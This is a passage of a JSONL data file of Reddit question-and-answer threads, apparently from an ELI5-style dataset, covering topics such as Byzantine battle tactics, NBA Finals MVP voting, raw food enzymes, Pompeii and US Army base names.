before your time period, but the point remains the same for later emperors and generals)\n >  \n >  Warfare is like hunting. Wild animals are taken by scouting, by nets, by lying in wait, by stalking, by circling around, and by other such stratagems rather than by sheer force. In waging war we should proceed in the same way, whether the enemy be many or few. To try to simply overpower the enemy in the open, hand in hand and face to face, even though you may appear to win, is an enterprise which is very risky and can result in serious harm. Apart from extreme emergency, it is ridiculous to try to gain a victory which is so costly and bring only empty glory.\n\nAnd another, \n\n >  A wise commander will not engage the enemy in pitched battle unless a truly exceptional opportunity or advantage presents itself.\n\nLater on, in the 10th century, the Emperor Nikephoros Phokas instructs on how to gather information to ascertain if open battle can be risked, \n >  \n >  It is imperative first to find out the number of the enemy host and above all what kind of equipment they have, by means of spies, deserters, and prisoners. If the enemy force far outnumbers our own both in cavalry and infantry, avoid a general engagement or close combats and strive to injure the enemy with stratagems and ambushes. The time to seek general engagements with the enemy is when, with the help of God, the enemy has fled once, twice, or three time and are crippled with and fearful, while on the other hand our host is obviously confident and their thoughts of valor have been awakened. Avoid not only an enemy force of superior strength but also one of equal strength, until the might and power of God restore and fortify the oppressed hearts and souls of our host and their resolve with His might hand and power. And when this love and compassion of God is stirred by the intercession of the all-celebrated Mother of God, when She secures Her people's victory for the third time, from that moment on they need not flinch or recoil in fear, be the enemy twice the number of our host. \n\nThe religious language not withstanding it is important to note that Nikephoros will not engage an equal or larger enemy but avoid confrontation, ambushing and harassing, until the most opportune time. Only then will he attack, and if the enemy's morale and will is broken the numbers do not matter.\n\nTo further expand on these stratagems, we have another source by the soldier and general Nikephoros Ouranos, who also wrote in the 10th century.\n\n >  The commander of the army must first make investigations through spies, prisoners, and deserters and find out the situation of each enemy area, of their villages and fortresses, as well as the size and nature of their cavalry forces. When he is well informated about all these matters, he must take into account the time of year, and he should make incursions and raids with due allowance for the season and the accessibility of the areas.\n >  \n >  [while on the march] he should give order to the officers that each of them must detach one hundred or 150 of his light infantrymen and convert them into cavalrymen to accompany the cavalry force\u2026. Similarly, forty or fifty of the kataphraktoi should be set apart, who will leave their heavy armor and that of their horses with the baggage train and head out with the other light horsemen. When the army approaches the enemy region for which it set out, the general guiding the army, or the doukator, must above all be quick and alert to send men out and secure information from prisoners through whom he will acquire accurate knowledge of the region. \n >  \n >  It often happens that one or two days before the raid is launched, a body of reinforcements from somewhere else comes to the enemy, while the spies, deserters from the enemy, and captured prisoners coming from the place a week or three to four days previously are unaware of what has happened there one or two days before. \n\nNikephoros is describing that the light infantry and heavy cavalry (kataphraktoi) are converted into light cavalry (prokoursatores) to supplement the numbers of light cavalry during the march, bringing the numbers of light cavalry to between half and a third of the total force. While marching through enemy territory, the light cavalry split up into three groups, left, right and center. This formation frequently moves out to raid for provisions, but also prisoners, spies and anyone else that may provide useful information. It is also interesting that Nikephoros takes time to point out that new information is needs every few days, and after a few days a source can no longer be relied on. Based on this we can infer that the Byzantine Roman army on the march was mounting these types of maneuvers every few days, if not more often. \n\nIf contact with the enemy was made, the light cavalry would harass and bombard the enemy viscously while the kataphraktoi were readied. If the enemy were turned to flight, they were pursued in good order. If the enemy was steadfast, the light cavalry would pull back, hopefully enticing the enemy force to pursue into an ambush or a kataphraktoi charge. The feigned retreat being one of the Byzantine Roman's favorite tactics of this time period. If the enemy remained in good order and with great numbers the light cavalry could pull back with haste, notifying the rest of the force and organize a general withdrawal until circumstances were more favorable. \n\nOverall, we can see two primary points, first, is that a good commander would only engage an enemy force if the conditions were favorable to him. It didn't really matter how many levies to enemy could field in their entirety, with superior intelligence and mobility, the Byzantine Roman army could take advantage of most situation, and refuse battle if no such opportunity was available. The second point is that, given the right circumstances and good generalship, a much smaller force had nothing to fear from a much larger one. \n\n**Sources**\n\n*Praecepta militaria* Nikephoros II Phokas\n\n*Taktika Nikephoros* Ouranos\n\n*Strategikon* Maurice Tiberius\n\nedit for formatting \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://deremilitari.org/wp-content/uploads/2013/11/arthurson.pdf"], []]}
{"q_id": "3a5oii", "title": "how did lebron james not win the mvp when he lead both teams in points, assists, and rebounds?", "selftext": "I understand Iggy had a huge impact in the series and is clearly a good player, but he didn't lead both teams in so many ways. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3a5oii/eli5_how_did_lebron_james_not_win_the_mvp_when_he/", "answers": {"a_id": ["cs9hpql", "cs9hx4m", "cs9ijdu"], "score": [4, 3, 3], "text": ["His team lost the playoff. MVP's are usually awarded to the winning team's player who contributed most to the winning of all the games played in the series.", "The most significant measure of your value is that it results in the team winning. Everything other than this outcome is a distant, distant second in terms of \"value\".  ", "The Finals MVP trophy has only been awarded to a player on the losing team once, In 1969. Jerry West averaged 38 points in 7 games for the LA Lakers against the Boston Celtics, including a triple double (42 points, 13 rebounds, 12 assists) in a game 7 loss.\n\nIn this year's finals, LeBron James averaged 35.8 points, 13.3 rebounds and 8.8 assists. I think the original poster's point is that if there was ever another time to award the MVP trophy to someone on the losing team, this would be it.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1gr46r", "title": "how do people not seriously injure themselves on the game show wipeout?", "selftext": "the clips they show of people landing on their necks or taking a hard hit to the head always shock me, and yet the people look alright.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1gr46r/eli5_how_do_people_not_seriously_injure/", "answers": {"a_id": ["camxz2i", "camyeyp", "can001r", "can38no", "can6xec", "can8ek4", "can96k4"], "score": [52, 145, 25, 134, 4, 3, 3], "text": ["You should watch ninja warrior...", "The obstacles are reasonably well padded, and the human body is generally more durable than you expect.\n\n", "I wondered this also and I would assume the contestants are required to sign a release from the show in case they get hurt. ", "They do get hurt.  There are a few people who were on wipeout that did AMAs, and I believe one said he fucked up his leg permanently.", "There has to be some big injuries in the history of the show, they obviously aren't going to show them. ", "_URL_0_\n\nhere you go.", "they do. those people disappear from the rest of the show."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.reddit.com/r/IAmA/comments/vzen9/i_was_dumb_enough_to_go_on_wipeout_ama/"], []]}
{"q_id": "8v9c2a", "title": "Why do beans thrive in slightly acidic soil compared to more alkaline or neutral?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8v9c2a/why_do_beans_thrive_in_slightly_acidic_soil/", "answers": {"a_id": ["e1lnq78"], "score": [5], "text": ["Almost all plants prefer an acidic soil, pH 6.0 - 7.0. Most trees, most crops. [Nutrient availability is greatest across this pH.](_URL_0_). When you move outside this range the nutrients tend to take on chemical forms that are less soluble, and therefore cannot be taken up by the roots of the plant.\n\nSome nutrients have more extreme reactions: at high enough pH ammonium (NH4+) will spontaneously lose a hydrogen (oxidize? I forgot all my redox help me out) becoming ammonia which is a volatile gas.\n\nSome plants can tolerate alkaline soils, wheat and rye being to key examples, and breeding salt resistance into corn, wheat, and other large and small grains is a major activity for many agrotech companies. \n\nI'm not a plant guy, I'm a soil scientist, so the questions that remain for me is why some plants really like acidic soils (pH  <  6.0) like blueberries or how wheat can survive nearly to pH 8.0 in some conditions. I don't know what mechanism allow them to scavenge the reduced nutrients."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://goo.gl/images/gafYZB"]]}
{"q_id": "1sda1x", "title": "Recently, it has been speculated that gravity causes wave function collapse and that entanglement causes gravity - are these two ideas compatible?", "selftext": "I may be misunderstanding the point of these two articles but those were the ideas I took from them:\n\n\"But the incompatibility of general relativity and quantum mechanics itself suggests that gravity might behave differently. One compelling idea is that gravity could act as a sort of inescapable background noise that collapses superpositions.\n\n\u201cWhile you can get rid of air molecules and electromagnetic radiation, you can\u2019t screen out gravity,\u201d said Miles Blencowe, a professor of physics at Dartmouth College. \u201cMy view is that gravity is sort of like the fundamental, unavoidable, last-resort environment.\u201d\"\n\n_URL_0_\n\n\n\"Using holographic duality, Sonner derived the entangled quarks, and found that what emerged was a wormhole connecting the two, implying that the creation of quarks simultaneously creates a wormhole. More fundamentally, the results suggest that gravity may, in fact, emerge from entanglement. What\u2019s more, the geometry, or bending, of the universe as described by classical gravity, may be a consequence of entanglement, such as that between pairs of particles strung together by tunneling wormholes.\"\n\n_URL_1_\n\n\nAssuming I didn't misunderstand the articles, are these two ideas compatible, or must one be wrong for the other to be right?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1sda1x/recently_it_has_been_speculated_that_gravity/", "answers": {"a_id": ["cdwh4zo", "cdx073q"], "score": [8, 4], "text": ["I didn't carefully read the articles you linked to but the idea that gravity causes wavefunction collapse is not that new actually, and has been championed by Roger Penrose, and bears his name: [Penrose Interpretation](_URL_2_)\n\nRegarding wormholes connecting quarks... that sounds really bizarre, and I'm surprised to see the article in the _URL_0_ domain, and certainly surprised to see Susskind's name dropped in there. The overwhelmingly likelihood is that [gluons](_URL_1_) exist and that they hold quarks together via exchange forces. There is empirical evidence for the existence of gluons, they have been experimentally observed.\n\nI don't think either of the ideas are well enough developed to be able to say whether they are compatible or not. These are early theoretical directions for further investigation and as yet physicists don't know enough about spacetime behavior at the smallest scales to able to make that conclusion.\n", "I'm seeing a lot of misconceptions in this thread about what the \"entanglement causes gravity\" thing is, so let me chime in. I don't know anything about the \"gravity causes wavefunction collapse\" bit though.\n\nThe previously known physics fact behind saying that entanglement causes gravity is this: if two particles are (maximally) entangled, then any manipulation of only one particle can always be achieved by instead manipulating the other particle.\n\nSusskind, Maldacena, Sonner, etc. then interpret this as *meaning* that the particles have zero distance between them in a very precise way. That is, the geometry (distances between points, basically) of the universe is dictated by the entanglement of the particles that live in it. And, as general relativity tells us, the geometry of the universe is gravity.\n\nIn fact, you can write down a measure of something-that-may-be-distance which exactly reproduces the statement that two maximally entangled particles have zero distance between them."]}, "title_urls": [], "selftext_urls": ["https://www.simonsfoundation.org/quanta/20131107-physicists-eye-quantum-gravity-interface/", "http://www.mit.edu/newsoffice/2013/you-cant-get-entangled-without-a-wormhole-1205.html"], "answers_urls": [["mit.edu", "http://en.wikipedia.org/wiki/Gluon", "http://en.wikipedia.org/wiki/Penrose_interpretation"], []]}
{"q_id": "ba34b7", "title": "How are there skeletons left over after a volcano eruption buries a town in molten lava? Wouldn't the lava be hot enough to disintegrate bone matter?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ba34b7/how_are_there_skeletons_left_over_after_a_volcano/", "answers": {"a_id": ["ek92pc7", "ek92vcp", "ek9j3l3"], "score": [159, 2, 16], "text": ["If you\u2019re talking about Pompeii, it wasn\u2019t lava that covered the town but ash. The \u201cbodies\u201d you see are plaster that was poured into the voids where the decomposing bodies were when it was excavated.\n\nI found this on quora that may be what you are after: _URL_0_", "I'm assuming that you are asking about Pompeii and Herculaneum, during the eruption of Mt. Vesuvius in A.D. 79.  Those towns were buried in hot ash, i.e. really fine powdered rock.  Yeah, that ash was hot.  And it was hot enough to make people's skulls explode by causing their brains to boil.  However, the ash wasn't hot enough to make something as moist as a human spontaneously ignite.  In addition, the ash buried the towns so quickly, that even if things had ignited, the fires would have been extinguished by the ash.\n\n & #x200B;\n\nBut yes, you're correct.  Anything living that has bones would certainly be destroyed by lava.  I may be wrong, as I'm not a paleontologist, but I can't recall fossils every being found in igneous rock..", "Because bone isnt really destroyed by high heat. When a body is cremated it doesnt turn into ash, the skeleton remains somewhat intact and is ground up and turned into ash. In some pet crematoriums they even cremate a whole bunch of bodies together, grind the bones, and scoop you a proportion of the ash."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.quora.com/Why-doesnt-lava-melt-people"], [], []]}
{"q_id": "2saxrp", "title": "I all motion is relative, what exactly is the spin of something relative to?", "selftext": "I know that all motion is relative. I should be able to say that the Earth is standing still and the universe is revolving around it. But there are a lot of phenomena that are primarily a result of the Earth spinning. We have a bulge at the equator, a magnetic field, Foucault pendulums work, etc...\nSo what exactly is spin relative to?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2saxrp/i_all_motion_is_relative_what_exactly_is_the_spin/", "answers": {"a_id": ["cnnt2ko"], "score": [6], "text": [" >  all motion is relative\n\nThis is wrong. More accurately, all *inertial* motion is relative. As soon as you introduce accelerations, you create a preferred frame, and frames are no longer equally relative. Reference frames that are accelerating contain inertial forces indicating that the relative equivalence of frames has broken down\\*. Accelerations include linear accelerations and rotations. \n\nFor linear accelerations, the direction of acceleration becomes a preferred direction. For instance, if you are in drag race car accelerating down the drag strip and you close your eyes, you can tell you are accelerating and in what direction because you can feel your back pushed backwards into your seat.\n\nFor rotational accelerations, the polar radial direction away from the axis of rotation becomes a preferred direction. If you stand on a quickly spinning carousel and close your eyes, you can tell you are rotating and in what direction is the axis of rotation because you can feel yourself being pushed outwards.\n\nIn short, the Earth is spinning relative to its axis of rotation. If you are at rest relative to Earth's ground and therefore in it's reference frame, you can detect Earth's rotation by measuring the corresponding inertial forces.\n\n > I should be able to say that the Earth is standing still and the universe is revolving around it.\n\nNo, this is wrong for the reasons mentioned above.\n\n\\*Note that there is an equivalence between non-inertial reference frames and gravitational fields according to General Relativity, but that is not really to the point of this discussion."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2eofy9", "title": "Is the human body capable of absorbing any amount of oxygen through the skin, under any circumstances?", "selftext": "Apparently there's a trivia game that claims sky divers don't need to breathe because they absorb sufficient oxygen through the skin. I've been sky diving, and I know that's not true, but I would like to know if there is any truth to that statement at all. I did some searching, and all I can find is speculation. So, under the right conditions of humidity, temperature, speed, or anything else, is it possible to absorb any oxygen through the skin at all?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2eofy9/is_the_human_body_capable_of_absorbing_any_amount/", "answers": {"a_id": ["ck1pddy"], "score": [10], "text": ["_URL_0_\n\nYes, oxygen from the air significantly contributes to oxygen levels in the epidermis and dermis.\n\nThat said, the internal organs are quite a bit further away, I doubt you can skydive and survive. Your lungs have a surface area of 100 square meters, you of 2 square meters. Diffusion decreases with pressure so I doubt you'd absorb oxygen that fast."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://jp.physoc.org/content/538/3/985.full"]]}
{"q_id": "kd2r6", "title": "the difference between sociology and anthropology", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/kd2r6/the_difference_between_sociology_and_anthropology/", "answers": {"a_id": ["c2jawk8", "c2jb2jy", "c2jf1sa", "c2jawk8", "c2jb2jy", "c2jf1sa"], "score": [5, 14, 3, 5, 14, 3], "text": ["Sociology, as one of my professors once put it, is \"all fucking statistics.\"\n\nAnthropology is the study of all humans, in all places, at all times as well as all associated cultural and material artifacts.", "I'm studying anthropology right now, and it is NOT just about dead people. That might have been what the discipline started out as, but it has evolved a lot.\n\nActually, sociology is the study of the in-group, or the group that one belongs to. On the other hand, anthropology studies the out-group, or the people that are different from your own society. Now keep in mind both of these disciplines are still based in a Western point of view, so typically this means that the in-group is going to be Western society and the out-group will tend to be some aboriginal society. For example, the study of crime within modern-day society would be a sociological study. On the other hand, the study of modern-day tribes in South American would be an anthropological study. Of course, there are also some differences in approach and method. As someone else mentioned, sociology (and many other social sciences) have tended towards the use of numbers and statistics to back their findings--basically the method has become very quantitatively based. On the other hand, anthropology has not made this shift (and I hope it never will). It still uses mostly qualitative methods like ethnography, observation, oral history, etc. \n\nTo further complicate things, though, the line between anthropology and sociology has blurred in recent years. For example, the study of corporate culture that has emerged recently is considered anthropological, but one could also consider that as \"in-group.\" To explain how that works, I'd have to go into how anthropologists look at culture differently from sociologists, but I'm not sure you're really that interested in that, so I won't. \n\nI know that wasn't a good answer for a 5-year-old, but I doubt a 5-year-old would ask this question in the first place, so yeah. ", "Anthropology is the study of humanity; mankind.\n\nSociology is the study of the groups that form within said humanity; societies and their social groups.  ", "Sociology, as one of my professors once put it, is \"all fucking statistics.\"\n\nAnthropology is the study of all humans, in all places, at all times as well as all associated cultural and material artifacts.", "I'm studying anthropology right now, and it is NOT just about dead people. That might have been what the discipline started out as, but it has evolved a lot.\n\nActually, sociology is the study of the in-group, or the group that one belongs to. On the other hand, anthropology studies the out-group, or the people that are different from your own society. Now keep in mind both of these disciplines are still based in a Western point of view, so typically this means that the in-group is going to be Western society and the out-group will tend to be some aboriginal society. For example, the study of crime within modern-day society would be a sociological study. On the other hand, the study of modern-day tribes in South American would be an anthropological study. Of course, there are also some differences in approach and method. As someone else mentioned, sociology (and many other social sciences) have tended towards the use of numbers and statistics to back their findings--basically the method has become very quantitatively based. On the other hand, anthropology has not made this shift (and I hope it never will). It still uses mostly qualitative methods like ethnography, observation, oral history, etc. \n\nTo further complicate things, though, the line between anthropology and sociology has blurred in recent years. For example, the study of corporate culture that has emerged recently is considered anthropological, but one could also consider that as \"in-group.\" To explain how that works, I'd have to go into how anthropologists look at culture differently from sociologists, but I'm not sure you're really that interested in that, so I won't. \n\nI know that wasn't a good answer for a 5-year-old, but I doubt a 5-year-old would ask this question in the first place, so yeah. ", "Anthropology is the study of humanity; mankind.\n\nSociology is the study of the groups that form within said humanity; societies and their social groups.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "5sy16u", "title": "Why do current US Army posts such as Ft. Bragg and Ft. Hood bear the names of officers who rebelled against the federal government?", "selftext": "John Bell Hood and Braxton Bragg were enemies of federal forces. Why does the federal government honor them in this manner?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5sy16u/why_do_current_us_army_posts_such_as_ft_bragg_and/", "answers": {"a_id": ["ddisr34"], "score": [132], "text": ["So for this one we can actually get an answer right from the Army! _URL_0_\n\n >  For much of the Army's history in the 19th Century, the naming of posts was still mainly a local prerogative. For example, War Department General Order Number 79, dated 8 November 1878, left the naming of installations to the commander of the regional Military Division in which the installation was located. Although not always, the names of installations usually reflected a local influence, such as Fort Apache in Arizona, established in 1871, and the Chickamauga Post in Georgia, established in 1902. In the 1890s, the then Quartermaster General, Maj. Gen. Richard N. Batchelder, recommended that the War Department assume responsibility for naming installations, but that did not become policy until World War I when the massive general mobilization saw the establishment of numerous installations of various sizes and functions. The names usually, but not always, reflected some regional connection to its location, and usually with a historic military figure significant to the area: for example, Camp Lee near Richmond, Virginia, and changing the name of the Chickamauga Post in Georgia to Fort Oglethorpe.\n\n > In the years between the World Wars, it became the common practice for the War Department to entertain recommended names for posts from installation commanders, corps and branch commanders, and the Historical Section Army War College, as well as from outside the Army. Public opinion and political Influence sometime weighed heavily on the decisions. For an example of the latter, when in 1928 the Army renamed Fort George G. Meade in Maryland as Fort Leonard Wood, the Pennsylvania delegation in Congress held up the Army's appropriation bill until the service agreed to restore the name of the Pennsylvania-born general. **The regional connection, however, cannot be overemphasized.** Fort Monmouth in New Jersey, for example, was originally named Camp Alfred Vail, in honor of the Army's then chief Signal Officer, when the installation was established as a Signal Corps training facility in 1917, but changed to Fort Monmouth, for the 1778 battle fought nearby, when it became a permanent installation in the 1920s.\n\n >  The War Department better defined the criteria when it established the policy for \"naming military reservations in honor of deceased distinguished officers regardless of the arm or service in which they have served\" in a memorandum dated 20 November 1939.\n\nSo it was mostly up to the local district and post commanders to select names when appropriate with varying levels of oversight from above, and it allowed for the smoothing over of any local opposition to the ever expanding bases. \n\nIn general the US military has been remarkably willing to adopt the names of former foes as marks of esteem or of distinction. From CSA officer's with Forts named for them to the very names of vehicles. The fact that KIOWA, BLACKHAWK, IROQUOIS, COMANCHE, and APACHE have all been used is testament to that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.history.army.mil/html/faq/base_name.html"]]}
{"q_id": "2o5ofc", "title": "what is so different about what's happening on the top shelf of a dishwasher than the bottom that leads to warnings to only place certain dishes on the top?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2o5ofc/eli5_what_is_so_different_about_whats_happening/", "answers": {"a_id": ["cmjx4hh", "cmjytpf", "cmjzwal", "cmk0vw1", "cmk5xig", "cmknof7"], "score": [224, 2, 8, 23, 4, 4], "text": ["There is a heating element on the bottom that can cause some plastics to melt.", "I find putting big saucepans in the bottom half stops things in the top half cleaning so well. There should be a separate jet for the top half, but for whatever reason it just doesn't seem to work. Maybe it's something like that?", "\"Clear dishwashers! You can see what's going on inside! It's the best idea I've ever had. Thank God I took that boat trip.\"", "[here is a video from the inside of a dishwasher showing how the cycle works](_URL_0_)", "I wish I had a dishwasher. As it is, my dishwashers are attached to my wrists :(", "I watched this whole thing hoping to learn what opens the damn soap holder cup things to let the soap out.  Still lost."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.youtube.com/watch?v=gjcyUjXwH_4"], [], []]}
{"q_id": "h1edp", "title": "\"Raw food contains the enzymes needed to digest it.\" - is this true? ", "selftext": "I heard this statement a while ago, and some googling revealed that many sites - mostly pro-raw-food sites - like to recite this without any source. Is this true?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/h1edp/raw_food_contains_the_enzymes_needed_to_digest_it/", "answers": {"a_id": ["c1rv7yd", "c1rv8p4", "c1rv8xx", "c1rvo6l", "c1rwgou", "c1rwpgz", "c1rxb7u"], "score": [19, 55, 3, 7, 5, 2, 2], "text": ["What this seems to mean on the surface can't be true; if it contained all the enzymes needed to digest the food in some available form, then the food would digest itself as it sat there.", "It's really, really false. Try living without a [pancreas](_URL_0_), which makes many of the enzymes you need to digest food.  It requires you to supplement the enzymes you lost. You can't just switch to \"raw food.\" \n\nSo unless the raw food you are eating is pancreas, it's totally false. ", "I really don't find any evidence suggesting this.  Basically whatever you eat the body will digest expect for cellulose.  The structure of cellulose has a beta acetal linkage which humans are unable to breakdown.  Although some animals have a symbiotic relationship with the bacteria needed to breakdown cellulose, most notably horse, cows, sheep, and termites.  \n\nI did find one article talking about how cooking some foods will boost the bodies absorption of the nutrients. \n[Fact or Fiction: Raw veggies are healthier than cooked ones](_URL_0_)\n ", "If that were true, no one would be lactose intolerant. ", "Those enzymes are going to be inactivated in the pH  < 2 environment of your stomach before they get  much time to do anything, sorry. ", "Ah, yes, the \"Raw Food Diet\". As far as I know, there are health benefits to eating some raw foods. However, before switching to *exclusively* raw foods, one might want to learn a bit more about the history of cooking and the evidence that it is [strongly linked to human evolution](_URL_0_). The advocates of such diets often try to portray them as more \"natural\" and/or \"nutritious\", etc. The fact is, such claims have little backing besides marketing teams.", "Raw foods may (or may not) be good for you, but it has nothing to do with them containing the enzymes to digest them.  Cooking will kill the enzymes, true, but you weren't going to utilize them for digestion, anyway.  \n\nThanks for asking scientists about this!  It is so irritating when companies/groups market things using totally misleading claims."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Pancreatic_insufficiency"], ["http://www.scientificamerican.com/article.cfm?id=raw-veggies-are-healthier"], [], [], ["http://news.harvard.edu/gazette/story/2009/06/invention-of-cooking-drove-evolution-of-the-human-species-new-book-argues/"], []]}
{"q_id": "1zcez8", "title": "what is g8?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1zcez8/eli5_what_is_g8/", "answers": {"a_id": ["cfsew13", "cfsfdfq"], "score": [2, 13], "text": ["Basically, it's the eight biggest economies in the world coming together to make joint plans and policies.", "It is a meeting of the 8 largest economies. Their combined wealth adds up to 40.9% of the worlds GDP. It consists of France, United States, United Kingdom, Russia, Germany, Japan, Italy, and Canada. They discuss issues of Global concern. There is also G-20, which is the financial ministers of the wealthiest countries meeting together."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2ibeh6", "title": "why can't the police and military forces in places like el salvador and honduras control the gangs in their countries?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ibeh6/eli5why_cant_the_police_and_military_forces_in/", "answers": {"a_id": ["cl0kual", "cl0kvlg", "cl0n7ux", "cl0p8xw", "cl0pel4", "cl0s6t8", "cl0tf17", "cl0tlad", "cl0v8dj"], "score": [16, 10, 24, 6, 7, 4, 3, 3, 2], "text": ["The gangs pay better and have access to better resources in many cases. Also it is hard to crack down on a group that will murder your family for doing so.", "Those are poor countries and the gangs are rich with drug money. As a result the gangs can bribe cops/military/politicians. For those who don't want to play ball (or for competing gangs) that same can be used to import weapons and kill said opposing forces. ", "The same reason the Afghan National Army can't fight off the Taliban.  A \"gang\" in this context isn't a bunch of hoodlums running around with handguns; they are highly organized and well funded organizations", "Police are very often untrained and not very professional. They will quite often not go after a bad person if it means that they will risk their life in doing so. Also note that in many places, police are sent into (rural) communities that they didn't grow up in and aren't a part of, with only a few other officers there as back up.\n\nIn the case of the military, they don't act because you're talking about so e of the most corrupt governents in the world.", "Have you been to Chicago?   If a modern day police department fully equipped can't,  who can", "These gangs are too big and powerful, basically. Many of them will be ex-military personnel, ergo are already trained to kill effectively. There's a lot of money behind these guys, too. They have their own tanks, boats,planes even radio networks. They have intelligence and espionage too, so if there's cops waiting along a cargo route, there will be an informant to let the others know and divert their shipment. They're willing to do things most militaries aren't because, unlike most militaries, they're out for themselves and they're not afraid to die. They don't have to worry about relations with other countries because they're already hated. It's a pretty psychopathic field, working in a drug gang, so once you're in, you're most likely LOCKED in. Remember, they do have spies, so if someone wants to leave the gang, they're not gonna want to take their chances with a potential spy. That person either stays or dies, so once you're in, you're not getting out easily. Anyone who rats them out gets hunted down and brutally executed. If you're a cop, then you definitely don't want to put one of these dudes away. If you're one of these gang members, you're not going to jail unless you either want to or are remarkably bad at your job.", "They aren't your regular t.v type gang. They are well funded with military grade weapons. They are getting better funding than the police forces there too. They will also kill anyone and there family who stands in there way. If I was a cop there I would take their bribe and turn the other way. I don't care what my job is, I'm not going to end up with my head on a fence post. ", "Corruption. The police is these countries is not well payed and funded, plus the judicial system is barely functioning. Corruption at the lower levels is rampant and endemic. And like everyone else mentioned, these gangs are basically rich para military organizations. All these factors combined means that its safer and easier for the police to accept bribes and look the other way, rather than try to fight well equipped, highly trained ex-soldiers. ", "You should research \"La Sombra Negra\". They find MS-13 gangsters and mutilate them. They're more or less the remnants of the old dictatorship tired of the failures of the current government in controlling the gang problem. They've made their mark and gangsters are starting to avoid showing their tattoos or affiliation to gangs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "1o30bm", "title": "Does the consumption of animal protein cause heart disease and cancer?", "selftext": "A common health argument in favor of veganism is that the consumption of any animal protein (meat, seafood, dairy, eggs, etc) causes cancer and heart disease. Is this true, and if so what is the causal mechanism? What makes animal protein different than vegetable protein in this regard?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1o30bm/does_the_consumption_of_animal_protein_cause/", "answers": {"a_id": ["ccoepre", "ccof8w8", "ccofjyw", "ccog9vi", "ccowsog", "ccp53pm"], "score": [9, 2, 12, 6, 3, 2], "text": ["From a molecular basis, an average animal protein is no different than an average plant protein. There might be some glycosylation differences which some studies indicated may potentially have some effects on inflammation but those studies are far from conclusive and can never be really well done by their nature.\n\nThere are many ethical, economic, and even health reason to promote vegetarianism, but the \"quality\" of protein you get from the food source is not really one of them.", "I can't speak to the entirety of your question, there are many components to it that I'm not well versed in. I would like to mention, however, that there was a paper published this year in Nature Medicine which showed a link between red meat consumption and atherosclerosis, which can cause myocardial infarctions (aka \"heart attacks\"). The paper stated that when L-carnitine, a nutrient found in red meat, is metabolized by a subset of microbiotic flora in the gut, a byproduct is TMAO, which contributes to atherosclerosis (and thus cardiovascular disease and heart attacks). Pretty interesting stuff.   \n  \nHere's the [link to the paper](_URL_0_) (it's behind a paywall, but the abstract is free to view). ", "Cancer and heart disease are a broad term that encompass many different but related diseases all of which can be caused by a lot of different factors beside diet (genetic, exposure to certain chemicals in the environment etc.). Equating animal protein consumption as the cause of cancer or heart disease is is like equating drinking water to death, as in, 100% of people that have died all have drunk water some point in their life. \n\nFurthermore, [the fact that the french have a low incident of coronary disease yet their diet is rich in animal fat and protein](_URL_0_) demonstrates that our overall lifestyle is an overall better indicator of our health than just our diet alone. ", "Short answer, no. Protein is protein, and protein does not directly cause cancer. So no, protein (enter source here) does not cause cancer. The argument, when it isn't exaggerated to it's most ridiculous and simple ends, is that biproducts from consuming animal protein may increase the likelihood of developing certain types of cancer. It is, like everything else in dietary science, a challenged theory, but in the end it does seem that people who don't consume animal protein develop certain cancers at lower rates. Correlation does not necessarily mean or dismiss causation. For instance people that don't consume animal protein are often more health conscious and that may be the cause of their lowered cancer risk, who knows. But essentially the belief is that biproducts from a diet including animal protein like cholesterol, saturated fats, increased digestive strain, higher possible resultant blood pressure, and so on are believed to increase the likelihood of certain cancers being developed. Protein does not cause cancer. ", "The key thing here is that people are conflating the word 'protein' with 'meat'. \n\nAs far as I know there is no downside to animal protein (vs plant protein) *however* when eating food, what you get is not just protein. You get a complete package that includes (a combination of one or more of the following - protein, fat, cholesterol, antibiotics, carcinogens, etc etc. )\n\nAnd guess what, there is *overwhelming* evidence that the other stuff most commonly found in meat, like LDL cholesterol, is strongly linked to various diseases.\n\nAddendum: this page has some info: _URL_0_\n\n", "Population studies show increased animal protein consumption correlates with heart disease/cancer. Causal mechanism is not totally known, but recent data shows it may have to do with gut bacteria. Apparently, when gut bacteria break down animal products including meat and eggs, they excrete a metabolite that can contribute to heart disease specifically."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.nature.com/nm/journal/v19/n5/full/nm.3145.html#access"], ["http://en.wikipedia.org/wiki/French_paradox"], [], ["http://nutritionfacts.org/video/plant-protein-preferable/"], []]}
